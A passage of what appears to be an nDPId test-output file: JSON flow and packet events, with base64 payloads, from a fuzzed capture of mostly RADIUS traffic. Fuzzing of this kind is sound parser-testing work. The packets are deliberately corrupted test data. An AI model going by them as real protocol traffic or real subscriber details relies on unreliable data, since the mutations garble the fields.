cxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWj1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSolQEnRJIAwgdOVHaEimFKQwq+M="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":185,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2304} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1528997683490,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.172.158","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1528997687969,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1965,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1528997683835,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.119.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1528997683835,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.119.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":189,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1528997764910,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":0,"flow_datalink":1,"flow_max_packets":15} +01287{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997764,"pkt_ts_usec":910655,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIRtAACUAAAAKDEAexuIZNXIQBxQClwAAAWkCj2WOGagJIQ3h2c\/0kWBqo7IaCgAAV8gOBFVTGgwAalfIyQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM2NwZbIqeEATUwMzExNDgwMDcxMzk0MzA0QHdsYW4ubW5jNDgwLm1jY6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":204,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1528997774688,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.234.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997774,"pkt_ts_usec":688502,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqc9uYVcUnCABFAAClBRNAAPwRTvPG6hk1CgxAHgcUchAAkYpBC3AAiTMAZqtMn01XpTgevOOwYPEBNTCyMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMjExLjNncHBuZXR3b3JrLm9yZy4gNWIyMmE3ODYvZTA6NWY6NDU6OTA6MDk6NWYvMjMwTw4BAAAMFwwAAAwBf\/xQEt5biXJtQqmEfDYtwo6O3Ew="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":204,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1528997774688,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.234.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":205,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1528997774688,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.234.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":205,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1528997764910,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":0,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00457{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":205,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1528997764910,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":0,"flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":207,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1528997775506,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.76.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997775,"pkt_ts_usec":506192,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbISRAAP8RAAAKTEAexuIZNXIQBxQCxwAAAXICv9jhsXiK6zCbKgcltxzBMb4aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM3NwZbIqePAQIwMzExNDgwMDcxMzk0MzA0QHdsYW4ubW5jRBEwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CHljaXNjb4MGAAAAAR8TYjAtOWYtYmEtNGEtMGUtN2UeJTAwLWE3LTQyL2QwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjECAAAJASthqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":207,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1528997775506,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.76.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":208,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1528997775573,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997775,"pkt_ts_usec":573407,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClBSFAAPwRTuXG4hk1Cgyqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1528997775762,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.112.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997775,"pkt_ts_usec":762124,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABRP+4rqcNuYVcUvCABFAADABSVAAPwRTsbG4hk1CgxwHgcUchAArFncA3MApFzr0zNm1cGtfYGqw8gu2esBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMGE3ODQvYjA6OWY6YmE6NGE6MGU6N2UvMjI5EiIzMjc2NCBTdWJzY3JpYmVyIG5rdCBwcm92aXNpb25lZE8HBAEABwBQEol7YUaBxcy8xSb+BSA62Ds="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":210,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1528997775762,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.112.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":213,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1528997777144,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.84.37.0","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01323{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997777,"pkt_ts_usec":144007,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHISdAAP8RAAAKVCUAxuIZNXIQBxQCswAAAXUCq0+RGyL6qp4kGgBnV02AqO8aCgAAV8gOBFVzGgwAAFfIDQZ3aWZpGg9zAFfICQlXSVNQUjEwGgkAADghDQM3NwZbItKBATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJWwwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmZBMGFjMDAwMDAwYzg4a2E3MjI1YiwgNWIyMmE3OGMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjMxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyZ1AgAkFwEAAAsFAAB4gbzVxbw2lh1ax6mZCkrRAwIAIEu4WjAaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABNyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFBlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghTwYAAOsAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEiPn8\/WrP4cXVwKHtEGPFQc="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":213,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1528997777144,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.84.37.0","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00742{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997777,"pkt_ts_usec":328264,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAAEwBTlWAPwRTkLG4hk1CgxAHgcUchABHFtlAnUBFPy\/77suJLORzOzxdqID6lIaCwAAV8gbBVNQQxpuAAABNxA0sgGX0jUZ0GkvrTEvR6JJSI5kjTryeLE5ZDtRZpqfIB5gVwEzf0GZAiOA3v7qRShWEqoRNMrrQ0Ld9EZkDOPTXqYYz\/U0I\/SC+HAlACKylcNORMjkiI8OEYrbS\/uvrFsRUJm7gb3AATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0dyUAay5vcmcsIDViMjJhNzhjL2aqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":214,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":218,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997778,"pkt_ts_usec":442013,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABVAADABUNAAPwRTqjG4hk1CgxAHgcUchAArF9UA3cApCAevq4tL8m2+S5T0IZH68wBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3ODYvZTA6NWY6NDU6OTA6MDk6NWYvMjMwEiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8HBAEABwBQEqtx8kLAbqN4aRfnk10cKJs="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":218,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +01310{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":219,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997780,"pkt_ts_usec":932557,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"hQAMB6xAchRP+4rqCABFAALbISpAbP8RAAAKDEAewuIZOHIQBxQCxwAAAXgCv4kwEW0JCeMao3TRk2O0OJUaCgAAV2QOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqeUATUwMzExNDgwMDczNjM4MDclAHdsYW4ubW5jNE8wLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZEwtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjAAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzg4Y2E3MjI1YiwgNWIyMmE3OGMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjMxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgABAAIMBgAABRQ9BgAAACUABgAAAA1BBgAAAAZRBDU2TzoCAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":219,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711} +01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":221,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997781,"pkt_ts_usec":425645,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRPU4rqCAAXAALHIStAAP8RAAAKDEAexuIZNXIQBxQCswAAAXkCq1Vl1UpA6lxXEhEbxa4HRw8aCgAAV8gOBFVTmgwAAFfIDQZ3oGZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqeVATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZjEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzAgYAAAAIGjEAAAAJASthdWRpdC1zZXMlAG9uLWlkPTFlZmYxMGFjMDAwMDAwYzg4Y2E3MjI1YiwgNWIyMmE3OGMlADA6Nzk6NjA6ZDE6N2Q6MzcvMjMxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAABKHBPmGtNtIJzGpfhqB3eGdAIAIFrsFJ8aFAAAV8gHDlZaV0MyVGVzdExhYlUKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaJQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADgh8hc0sS44MDQ4ODJOLTc0LjEwMjgzqlcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAI4NQAAOCEWJFN0YWRpdW1EaXJlY3QaDAAABYMHBtxQSplQEsG70Fu7iBnc6ge0pZ5Q5mQ="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":221,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1528997775762,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.112.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1528997775506,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.76.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1528997777144,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.84.37.0","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00511{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1528997775573,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1528997775573,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 